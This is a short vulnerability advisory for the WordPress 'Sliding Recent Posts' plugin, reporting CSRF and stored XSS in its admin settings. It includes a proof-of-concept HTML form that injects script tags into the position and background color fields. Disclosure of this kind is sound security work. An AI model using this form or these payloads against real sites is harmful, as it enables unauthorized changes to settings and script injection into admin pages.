Title: WordPress 'Sliding Recent Posts' plugin - CSRF/XSS
Version: 1.0
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej
Date: 2014/12/12
Download: https://wordpress.org/plugins/sliding-recent-posts/
Notified WordPress: 2014/11/27
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## Description: 
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This plugin displays a widget on your site that will slide into the screen when you click on it and it will display a list of recent posts with thumbnails

## CSRF:
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It is possible to change the plugins admin settings by tricking a logged in admin to visit a crafted page. 


## Stored XSS:
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Settings data from the admin page is stored unsanitized and shown on the plugin's admin page. This allows an attacker to perform XSS through the settings fields. 

PoC:
Log in as admin and then submit the following form. 
<form method="POST" action="http://[DOMAIN]/wp-admin/admin.php?page=sliding-recent-posts.php"> 
   <input type="text" name="num_posts" value="3"><br />
  <input type="text" name="position" value=""><script>alert(1)</script>"><br />
  <input type="text" name="background_color" value="#798746"/><script>alert(2)</script>"><br />
  <input type="text" name="font_color" value="#ffffff"><br />  
  <input type="text" name="ll__opt[disable]" value="Save"><br />  
  <input type="text" name="srp_save" value="save"><br /> 
  <input type="submit">
</form>


## Solution
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No fix have been released. 

WordPress have been notified and the plugin has been closed until it is updated.